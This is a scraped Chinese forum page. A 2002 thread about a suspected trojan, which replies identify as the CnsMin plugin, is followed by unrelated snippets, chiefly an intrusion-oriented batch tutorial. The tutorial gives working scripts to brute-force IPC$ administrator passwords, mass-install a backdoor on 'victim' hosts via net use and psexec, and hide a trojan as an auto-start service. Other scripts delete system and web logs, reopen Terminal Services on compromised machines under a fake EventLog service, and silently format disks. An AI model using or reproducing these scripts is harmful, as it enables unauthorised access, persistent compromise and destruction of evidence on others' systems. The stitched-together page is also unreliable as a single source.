社区
Windows Server
帖子详情
help me ,我的系统中木马了!!
babyboy
2002-09-11 05:23:11
文件大小:9.76k
注册键值:
xkjUnJ.exe D:\WINNT\downlo~1\CnsMin.dll,Rundll32
文件所在位置:
winnt\system32
文件说明
rull a dll as App
删除后,注销重新登陆后会随机改变名字,然后重写回注册表,
查不出和什么文件关联,
我在exefile,dllfile,txtfile等键都看了,
而且用任务管理器无法结束进程`
...全文
61
8
打赏
收藏
help me ,我的系统中木马了!!
文件大小:9.76k 注册键值: xkjUnJ.exe D:\WINNT\downlo~1\CnsMin.dll,Rundll32 文件所在位置: winnt\system32 文件说明 rull a dll as App 删除后,注销重新登陆后会随机改变名字,然后重写回注册表, 查不出和什么文件关联, 我在exefile,dllfile,txtfile等键都看了, 而且用任务管理器无法结束进程`
复制链接
扫一扫
分享
转发到动态
举报
AI
作业
写回复
配置赞助广告
用AI写文章
8 条
回复
切换为时间正序
请发表友善的回复…
发表回复
打赏红包
vivi3
2002-09-11
打赏
举报
回复
没毒,没害的东西~
xwmhn
2002-09-11
打赏
举报
回复
可能中木马了,最好的办法是重新做系统!
benben_2002
2002-09-11
打赏
举报
回复
这是什东东,好厉害呀
vivi3
2002-09-11
打赏
举报
回复
这个是“网络实名”的程序,不是木马!!!!
这个版很多类似的贴,搜索一下就可以看到的了~~~
benben_2002
2002-09-11
打赏
举报
回复
试过了,也无法降低进程的优先级,我在dos下删除,结果错删除了个文件,可能和网卡有关,怎么也找不到网卡了,隐藏了怎么办?
JamesJiang
2002-09-11
打赏
举报
回复
先降低进程的优先级在试试结束进程,如果不结束进程,把文件删除和修改注册表都没用,否则那个激活的木马进程又会写回去。
zhuyuantan
2002-09-11
打赏
举报
回复
杀毒咯
benben_2002
2002-09-11
打赏
举报
回复
我的也是,
msf使用方法
msf使用方法,很详细,你值得拥有
定位文件特征码.RAR
定位文件特征码.RAR定位文件特征码.RAR
edjpgcom|图片
中
插入一句话
edjpgcom is a free Windows application that allows you to change (or add) a JPEG commment in a JPEG file. That's all it does. All other fields in a JFIF or Exif file are left untouched. It even keeps the filesystem timestamp! It's based on the rdjpgcom and wrjpgcom utilities from the Independent JPEG Group's 6b distribution. (Heck, it's essentially these two programs combined with a basic dialog control.) Installation: ------------- Copy the executable egjpgcom.exe someplace convenient. It's completely self contained and uses no registry entries. Usage: ------ edjpgcom "filename.jpg" The quotes around the filename are *required* (Don't ask.) A dialog will popup. The text area will contain any existing comment text. You can cut and paste using the usual Ctrl-C, Ctrl-V, Ctrl-X. If you press OK, this text will be added to your file and a backup file will be created with the same name as your file but with a ".bak" added. If you don't want this backup file, check the 'Delete Backup?' checkbox. Of course pressing Cancel will exit without doing anything. If you want to delete a comment, just delete all the comment text. Edjpgcom will then delete the comment section. Now I don't really expect this program to be used from the command line. Instead, I assume that you will add it to either the external programs list of another editing/managment program OR add it to the context menu for JPEG files in windows. NOTE: Changing file associations akin to editing your registry. Be careful and be sure you know how to undo anything you might have done. For example, in Windows 98: * open Windows Explorer * View -> Folder Options * select the "File Types" tab * Find and select the JPG file type(s) NOTE: Sometimes you may not be able to find the JPG File types If this happens see below. * press the "Edit" button * press the "New" button * for the "Action:" enter Comment * for the "Application used..." enter "c:\full\path\to\edjpgcom.exe" "%1" where the quotes are important (if you do not use quotes around the program path name, Windows may assume only short filenames can be passed to the program) and replacing c:\full\path\to with the correct directory path where you put the executable. Now "Comment" should appear when you right-click on a JPEG file. This works well in combination with "View as webpage" or "Thumbnails". In Win2k, the procedure is the same except you get to the add action dialog this way: * Open "Windows NT Explorer" * Tools -> Folder Options * select the "File Types" tab * Find and select the JPG file type(s) * press the "Advanced" button NOTE: Sometimes you may not be able to find the file type associated with .jpg files. This usually happens after several programs have reset your file associations. I use an utility from PC Mag called "Freedom of Association" to reassign the .jpg extension to a registered type. Another alternative is to add a shortcut to egjpgcom.exe to your Windows "Send To" directory. You can then send a file to edjpgcom. It will politely refuse to handle a non-jpeg file. If you use ThumbsPlus to manage your photos (highly recommended), you can add edjpgcom as an external program using the following steps: * Right-click on the tool bar to bring up the customization window * Press the "External Programs" button * Enter the full pathname to edjpgcom.exe in the Program box. * Make sure the "Short Names", "multiple files" and DDE are NOT checked. Now you will have an icon on your toolbar and a menu item on the right-click popup window for image files. Template File ------------- If the environment variable EDJPGCOM_TEMPLATE exists and points to a readable file, then the contents of this file will be used as the default comment when adding a comment to a file that does not already have one. License: -------- Permission to use this software for any purpose, without fee, is hereby granted. THIS SOFTWARE IS BEING PROVIDED AS IS, without any express or implied warranty. If you like it send me one of your photos (email or a postcard) at: edjpgcom@yahoo.com Erik Magnuson 7490 Windover Way Titusville, FL 32780 Send comments/bug reports to edjpgcom@yahoo.com. How it works: ------------- When egjpgcom starts, it opens the file, extracts the comments and then closes the file again. When you press OK, it creates a temporary file with the same path and filename as the original, but with an random 3 digit extension instead of ".jpg". It then copies the header data from the original file, the new comment, and the rest of the original file to this temporary file. It closes the temp file and attempts to rename the original file to ".bak". If this succeeds, it will rename the temporary file to have the original filename. Last, it deletes the backup file if that options is selected. What this means is that if egjpgcom should crash for any reason, you should still have your original file (unless you deleted it!). You might have to clean up a .nnn file but that's it. It's been tested on Win2k, NT 4.0 SP5, Win95a, Win98, and Win98SE. Limitations: ------------ * The egjpgcom program itself only supports a single filename as input. However, if multiple files are selected and "Add Comments" context menu is chosen, multiple copies of egjpgcom will be started. Hopefully, the filename in the title bar will
help
you figure out which is which. * While a JPEG comment field can up to 64k chars, edjpegcom is limited to 32000 characters by the Win32 edit dialog. * egjpgcom uses the DOS/Windows CRLF convention for line terminators. It will convert any plain CR or LF to a CRLF pair. * edjpgcom has not been tested with multiple COM sections in a single file. * edjpgcom does not get any comment data from other comment fields like Photoshop FileInfo (IPTC/NAA subset) Exif ImageDescription Exif UserComment * Error messages are primitive. Credits: -------- This software is based in part on the work of the Independent JPEG Group. Thanks to Jacob Navia for lcc-win32. rec.photo.digital for all the information. History: -------- 17 Feb 2001 v0.1 foisted upon an indifferent world 19 Feb 2001 v0.2 Fixed Win9x file creation timestamp (well, it worked on Win2k!) 10 Apr 2001 v0.3 Deletes comment section if empty comment entered Does not write file is comment text unchanged and "OK" pressed. Added a simple program icon. 19 Dec 2001 v0.4 Larger dialog box size Defaults to delete backup Optional template file if empty comment block. ------------------------------ 可以在正常的图片
中
插入一句话代码。
如何编写批处理文件批处理文件批处理文件
简明批处理教程22009年10月20日 星期二 下午 05:35 最近对于批处理技术的探讨比较热,也有不少好的批处理程序发布,但是如果没有一定的相关知识恐怕不容易看懂和理解这些批处理文件,也就更谈不上自己动手编写了,古语云:“授人以鱼,不如授人以渔。”因为网上好像并没有一个比较完整的教材,所以抽一点时间写了这片《简明批处理教程》给新手朋友们.也献给所有为实现网络的自由与共享而努力的朋友们. 批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称,或者双击该批处理文件,
系统
就会调用Cmd.exe按照该文件
中
各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵
中
一些实际运用,例如我们后面要提到的用批处理文件来给
系统
打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。 一、简单批处理内部命令简介 1.Echo 命令 打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。 语法 echo [{on|off}] [message] Sample:@echo off / echo hello world 在实际应用
中
我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件
中
.这将在以后的例子
中
体现出来。 2.@ 命令 表示不显示@后面的命令,在入侵过程
中
(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。 Sample:@echo off @echo Now initializing the program,please wait a minite... @format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。) 3.Goto 命令 指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。 语法:goto label(label是参数,指定所要转向的批处理程序
中
的行。) Sample: if {%1}=={} goto noparms if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。) @Rem check parameters if null show usage :noparms echo Usage: monitor.bat ServerIP PortNumber goto end 标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。 4.Rem 命令 注释命令,在C语言
中
相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。 Rem Message Sample:@Rem Here is the description. 5.Pause 命令 运行 Pause 命令时,将显示下面的消息: Press any key to continue . . . Sample: @echo off :begin copy a:*.* d:back echo Please put a new disk into driver A pause goto begin 在这个例子
中
,驱动器 A
中
磁盘上的所有文件均复制到d:back
中
。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。 6.Call 命令 从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。 语法 call [Drive:][Path] FileName [BatchParameters] [:label [arguments] 参数 [Drive:}[Path] FileName 指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。 7.start 命令 调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。 入侵常用参数: MIN 开始时窗口最小化 SEPARATE 在分开的空间内开始 16 位 Windows 程序 HIGH 在 HIGH 优先级类别开始应用程序 REALTIME 在 REALTIME 优先级类别开始应用程序 WAIT 启动应用程序并等候它结束 parameters 这些为传送到命令/程序的参数 执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。 8.choice 命令 choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234…… 如: choice /c:dme defrag,mem,end 将显示 defrag,mem,end[D,M,E]? Sample: Sample.bat的内容如下: @echo off choice /c:dme defrag,mem,end if errorlevel 3 goto defrag(应先判断数值最高的错误码) if errorlevel 2 goto mem if errotlevel 1 goto end :defrag c:dosdefrag goto end :mem mem goto end :end echo good bye 此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。 9.If 命令 if 表示将判断是否符合规定的条件,从而决定执行不同的命令。有三种格式: 1、if "参数" == "字符串" 待执行的命令 参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号) 如if "%1"=="a" format a: if {%1}=={} goto noparms if {%2}=={} goto noparms 2、if exist 文件名 待执行的命令 如果有指定的文件,则条件成立,运行命令,否则运行下一句。 如if exist config.sys edit config.sys 3、if errorlevel / if not errorlevel 数字 待执行的命令 如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。 如if errorlevel 2 goto x2 DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。 10.for 命令 for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。 在批处理文件
中
使用 FOR 命令时,指定变量请使用 %%variable for {%variable|%%variable} in (set) do command [ CommandLineOptions] %variable 指定一个单一字母可替换的参数。 (set) 指定一个或一组文件。可以使用通配符。 command 指定对每个文件执行的命令。 command-parameters 为特定命令指定参数或命令行开关。 在批处理文件
中
使用 FOR 命令时,指定变量请使用 %%variable 而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I 如果命令扩展名被启用,下列额外的 FOR 命令格式会受到 支持: FOR /D %variable IN (set) DO command [command-parameters] 如果集
中
包含通配符,则指定与目录名匹配,而不与文件 名匹配。 FOR /R [drive:]path] %variable IN (set) DO command [command- 检查以 [drive:]path 为根的目录树,指向每个目录
中
的 FOR 语句。如果在 /R 后没有指定目录,则使用当前 目录。如果集仅为一个单点(.)字符,则枚举该目录树。 FOR /L %variable IN (start,step,end) DO command [command-para 该集表示以增量形式从开始到结束的一个数字序列。 因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生 序列 (5 4 3 2 1)。 FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN ('command') DO command 或者,如果有 usebackq 选项: FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN ('command') DO command filenameset 为一个或多个文件名。继续到 filenameset
中
的 下一个文件之前,每份文件都已被打开、读取并经过处理。 处理包括读取文件,将其分成一行行的文字,然后将每行 解析成零或更多的符号。然后用已找到的符号字符串变量值 调用 For 循环。以默认方式,/F 通过每个文件的每一行
中
分开 的第一个空白符号。跳过空白行。您可通过指定可选 "options" 参数替代默认解析操作。这个带引号的字符串包括一个或多个 指定不同解析选项的关键字。这些关键字为: eol=c - 指一个行注释字符的结尾(就一个) skip=n - 指在文件开始时忽略的行数。 delims=xxx - 指分隔符集。这个替换了空格和跳格键的 默认分隔符集。 tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代 的 for 本身。这会导致额外变量名称的 格式为一个范围。通过 nth 符号指定 m 符号字符串
中
的最后一个字符星号, 那么额外的变量将在最后一个符号解析之 分配并接受行的保留文本。 usebackq - 指定新语法已在下类情况
中
使用: 在作为命令执行一个后引号的字符串并且 引号字符为文字字符串命令并允许在 fi
中
使用双引号扩起文件名称。 sample1: FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command 会分析 myfile.txt
中
的每一行,忽略以分号打头的那些行,将 每行
中
的第二个和第三个符号传递给 for 程序体;用逗号和/或 空格定界符号。请注意,这个 for 程序体的语句引用 %i 来 取得第二个符号,引用 %j 来取得第三个符号,引用 %k 来取得第三个符号后的所有剩余符号。对于带有空格的文件 名,您需要用双引号将文件名括起来。为了用这种方式来使 用双引号,您还需要使用 usebackq 选项,否则,双引号会 被理解成是用作定义某个要分析的字符串的。 %i 专门在 for 语句
中
得到说明,%j 和 %k 是通过 tokens= 选项专门得到说明的。您可以通过 tokens= 一行 指定最多 26 个符号,只要不试图说明一个高于字母 'z' 或 'Z' 的变量。请记住,FOR 变量是单一字母、分大小写和全局的; 同时不能有 52 个以上都在使用
中
。 您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是, 用单引号将括号之间的 filenameset 括起来。这样,该字符 串会被当作一个文件
中
的一个单一输入行。 最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将 括号之间的 filenameset 变成一个反括字符串。该字符串会 被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进 内存,并被当作文件分析。因此,以下例子: FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i 会枚举当前环境
中
的环境变量名称。 另外,FOR 变量参照的替换已被增强。您现在可以使用下列 选项语法: ~I - 删除任何引号("),扩充 %I %~fI - 将 %I 扩充到一个完全合格的路径名 %~dI - 仅将 %I 扩充到一个驱动器号 %~pI - 仅将 %I 扩充到一个路径 %~nI - 仅将 %I 扩充到一个文件名 %~xI - 仅将 %I 扩充到一个文件扩展名 %~sI - 扩充的路径只含有短名 %~aI - 将 %I 扩充到文件的文件属性 %~tI - 将 %I 扩充到文件的日期/时间 %~zI - 将 %I 扩充到文件的大小 %~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充 到找到的第一个完全合格的名称。如果环境变量 未被定义,或者没有找到文件,此组合键会扩充 空字符串 可以组合修饰符来得到多重结果: %~dpI - 仅将 %I 扩充到一个驱动器号和路径 %~nxI - 仅将 %I 扩充到一个文件名和扩展名 %~fsI - 仅将 %I 扩充到一个带有短名的完整路径名 %~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充 到找到的第一个驱动器号和路径。 %~ftzaI - 将 %I 扩充到类似输出线路的 DIR 在以上例子
中
,%I 和 PATH 可用其他有效数值代替。%~ 语法 用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名 比较易读,而且避免与不分大小写的组合键混淆。 以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵
中
的用途。 sample2: 利用For命令来实现对一台目标Win2k主机的暴力密码破解。 我们用net use \ipipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。 最主要的命令是一条:for /f i% in (dict.txt) do net use \ipipc$ "i%" /u:"administrator" 用i%来表示admin的密码,在dict.txt
中
这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令-- for /f i%% in (dict.txt) do net use \ipipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:ok.txt ,这样就ko了。 sample3: 你有没有过手里有大量肉鸡等着你去种后门+
木马
呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。 主要命令也只有一条:(在批处理文件
中
使用 FOR 命令时,指定变量使用 %%variable) @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt
中
的内容传递给door.bat
中
的参数%i %j %k。 而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy
木马
+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。 delims= 表示vivtim.txt
中
的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。 代码雏形: --------------- cut here then save as a batchfile(I call it main.bat ) --------------------------- @echo off @if "%1"=="" goto usage @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k @goto end :usage @echo run this batch in dos modle.or just double-click it. :end --------------- cut here then save as a batchfile(I call it main.bat ) --------------------------- ------------------- cut here then save as a batchfile(I call it door.bat) ----------------------------- @net use \%1ipc$ %3 /u:"%2" @if errorlevel 1 goto failed @echo Trying to establish the IPC$ connection …………OK @copy windrv32.exe\%1admin$system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt @psexec \%1 c:winntsystem32windrv32.exe @psexec \%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt :failed @echo Sorry can not connected to the victim. ----------------- cut here then save as a batchfile(I call it door.bat) -------------------------------- 这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容 尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究. 二、如何在批处理文件
中
使用参数 批处理
中
可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。 sample1:fomat.bat @echo off if "%1"=="a" format a: :format @format a:/q/u/auotset @echo please insert another disk to driver A. @pause @goto fomat 这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~^_^ sample2: 当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。 @echo off @net use \1%ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。 @if errorlevel 1 echo connection failed 怎么样,使用参数还是比较简单的吧?你这么帅一定学会了^_^. 三、如何使用组合命令(Compound Command) 1.& Usage:第一条命令 & 第二条命令 [& 第三条命令...] 用这种方法可以同时执行多条命令,而不管命令是否执行成功 Sample: C:>dir z: & dir c:Ex4rch The system cannot find the path specified. Volume in drive C has no label. Volume Serial Number is 0078-59FB Directory of c:Ex4rch 2002-05-14 23:51 2002-05-14 23:51 2002-05-14 23:51 14 sometips.gif 2.&& Usage:第一条命令 && 第二条命令 [&& 第三条命令...] 用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令; Sample: C:>dir z: && dir c:Ex4rch The system cannot find the path specified. C:>dir c:Ex4rch && dir z: Volume in drive C has no label. Volume Serial Number is 0078-59FB Directory of c:Ex4rch 2002-05-14 23:55 2002-05-14 23:55 2002-05-14 23:55 14 sometips.gif 1 File(s) 14 bytes 2 Dir(s) 768,671,744 bytes free The system cannot find the path specified. 在做备份的时候可能会用到这种命令会比较简单,如: dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:backup 如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 :) 3.|| Usage:第一条命令 || 第二条命令 [|| 第三条命令...] 用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令; Sample: C:Ex4rch>dir sometips.gif || del sometips.gif Volume in drive C has no label. Volume Serial Number is 0078-59FB Directory of C:Ex4rch 2002-05-14 23:55 14 sometips.gif 1 File(s) 14 bytes 0 Dir(s) 768,696,320 bytes free 组合命令使用的例子: sample: @copy trojan.exe \%1admin$system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt 四、管道命令的使用 1.| 命令 Usage:第一条命令 | 第二条命令 [| 第三条命令...] 将第一条命令的结果作为第二条命令的参数来使用,记得在unix
中
这种方式很常见。 sample: time /t>>D:IP.log netstat -n -p tcp|find ":3389">>D:IP.log start Explorer 看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个bat,以获得登录用户的IP。 2.>、>>输出重定向命令 将一条命令或某个程序输出结果的重定向到特定文件
中
, > 与 >>的区别在于,>会清除调原有文件
中
的内容后写入指定文件,而>>只会追加内容到指定文件
中
,而不会改动其
中
的内容。 sample1: echo hello world>c:hello.txt (stupid example?) sample2: 时下DLL
木马
盛行,我们知道system32是个捉迷藏的好地方,许多
木马
都削尖了脑袋往那里钻,DLL马也不例外,针对这一点我们可以在安装好
系统
和必要的应用程序后,对该目录下的EXE和DLL文件作一个记录: 运行CMD--转换目录到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt, 这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt
中
, 日后如发现异常但用传统的方法查不出问题时,则要考虑是不是
系统
中
已经潜入DLL
木马
了. 这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt
中
,然后运行: CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt
中
),这样我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL
木马
光顾了。没有是最好,如果有的话也不要直接DEL掉,先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里,若
系统
没有异常反映再将之彻底删除或者提交给杀毒软件公司。 3.& 、<& & 将一个句柄的输出写入到另一个句柄的输入
中
。 >Sample.reg @echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]>Sample.reg @echo "Invader"="Ex4rch">>Sample.reg @echo "door"=5>>C:\WINNT\system32\door.exe>>Sample.reg @echo "Autodos"=dword:02>>Sample.reg samlpe2: 我们现在在使用一些比较老的
木马
时,可能会在注册表的[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun(Runonce、Runservices、Runexec)]下生成一个键值用来实现
木马
的自启动.但是这样很容易暴露
木马
程序的路径,从而导致
木马
被查杀,相对地若是将
木马
程序注册为
系统
服务则相对安全一些.下面以配置好地IRC
木马
DSNX为例(名为windrv32.exe) @start windrv32.exe @attrib +h +r windrv32.exe @echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] >>patch.dll @echo "windsnx "=- >>patch.dll @sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:winntsystem32windrv32.exe @regedit /s patch.dll @delete patch.dll @REM [删除DSNXDE在注册表
中
的启动项,用sc.exe将之注册为
系统
关键性服务的同时将其属性设为隐藏和只读,并config为自启动] @REM 这样不是更安全^_^. 六、精彩实例放送 1.删除win2k/xp
系统
默认共享的批处理 ------------------------ cut here then save as .bat or .cmd file --------------------------- @echo preparing to delete all the default shares.when ready pres any key. @pause @echo off :Rem check parameters if null show usage. if {%1}=={} goto :Usage :Rem code start. echo. echo ------------------------------------------------------ echo. echo Now deleting all the default shares. echo. net share %1$ /delete net share %2$ /delete net share %3$ /delete net share %4$ /delete net share %5$ /delete net share %6$ /delete net share %7$ /delete net share %8$ /delete net share %9$ /delete net stop Server net start Server echo. echo All the shares have been deleteed echo. echo ------------------------------------------------------ echo. echo Now modify the registry to change the system default properties. echo. echo Now creating the registry file echo Windows Registry Editor Version 5.00> c:delshare.reg echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters]>> c:delshare.reg echo "AutoShareWks"=dword:00000000>> c:delshare.reg echo "AutoShareServer"=dword:00000000>> c:delshare.reg echo Nowing using the registry file to chang the system default properties. regedit /s c:delshare.reg echo Deleting the temprotarily files. del c:delshare.reg goto :END :Usage echo. echo ------------------------------------------------------ echo. echo ☆ A example for batch file ☆ echo ☆ [Use batch file to change the sysytem share properties.] ☆ echo. echo Author:Ex4rch echo Mail:Ex4rch@hotmail.com QQ:1672602 echo. echo Error:Not enough parameters echo. echo ☆ Please enter the share disk you wanna delete ☆ echo. echo For instance,to delete the default shares: echo delshare c d e ipc admin print echo. echo If the disklable is not as C: D: E: ,Please chang it youself. echo. echo example: echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into : echo delshare c d e x y z ipc admin print echo. echo *** you can delete nine shares once in a useing *** echo. echo ------------------------------------------------------ goto :EOF :END echo. echo ------------------------------------------------------ echo. echo OK,delshare.bat has deleted all the share you assigned. echo.Any questions ,feel free to mail to Ex4rch@hotmail.com. echo echo. echo ------------------------------------------------------ echo. :EOF echo end of the batch file ------------------------ cut here then save as .bat or .cmd file --------------------------- .全面加固
系统
(给肉鸡打补丁)的批处理文件 ------------------------ cut here then save as .bat or .cmd file --------------------------- @echo Windows Registry Editor Version 5.00 >patch.dll @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters] >>patch.dll @echo "AutoShareServer"=dword:00000000 >>patch.dll @echo "AutoShareWks"=dword:00000000 >>patch.dll @REM [禁止共享] @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa] >>patch.dll @echo "restrictanonymous"=dword:00000001 >>patch.dll @REM [禁止匿名登录] @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNetBTParameters] >>patch.dll @echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll @REM [禁止及文件访问和打印共享] @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices@REMoteRegistry] >>patch.dll @echo "Start"=dword:00000004 >>patch.dll @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSchedule] >>patch.dll @echo "Start"=dword:00000004 >>patch.dll @echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon] >>patch.dll @echo "ShutdownWithoutLogon"="0" >>patch.dll @REM [禁止登录前关机] @echo "DontDisplayLastUserName"="1" >>patch.dll @REM [禁止显示前一个登录用户名称] @regedit /s patch.dll ------------------------ cut here then save as .bat or .cmd file --------------------------- 下面命令是清除肉鸡所有日志,禁止一些危险的服务,并修改肉鸡的terminnal service留跳后路。 @regedit /s patch.dll @net stop w3svc @net stop event log @del c:winntsystem32logfilesw3svc1*.* /f /q @del c:winntsystem32logfilesw3svc2*.* /f /q @del c:winntsystem32config*.event /f /q @del c:winntsystem32dtclog*.* /f /q @del c:winnt*.txt /f /q @del c:winnt*.log /f /q @net start w3svc @net start event log @rem [删除日志] @net stop lanmanserver /y @net stop Schedule /y @net stop RemoteRegistry /y @del patch.dll @echo The server has been patched,Have fun. @del patch.bat @REM [禁止一些危险的服务。] @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp] >>patch.dll @echo "PortNumber"=dword:00002010 >>patch.dll @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp >>patch.dll @echo "PortNumber"=dword:00002012 >>patch.dll @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermDD] >>patch.dll @echo "Start"=dword:00000002 >>patch.dll @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSecuService] >>patch.dll @echo "Start"=dword:00000002 >>patch.dll @echo "ErrorControl"=dword:00000001 >>patch.dll @echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00, >>patch.dll @echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65, >>patch.dll @echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll @echo "ObjectName"="LocalSystem" >>patch.dll @echo "Type"=dword:00000010 >>patch.dll @echo "Description"="Keep record of the program and windows' message。" >>patch.dll @echo "DisplayName"="Microsoft EventLog" >>patch.dll @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicestermservice] >>patch.dll @echo "Start"=dword:00000004 >>patch.dll @copy c:winntsystem32termsrv.exe c:winntsystem32eventlog.exe @REM 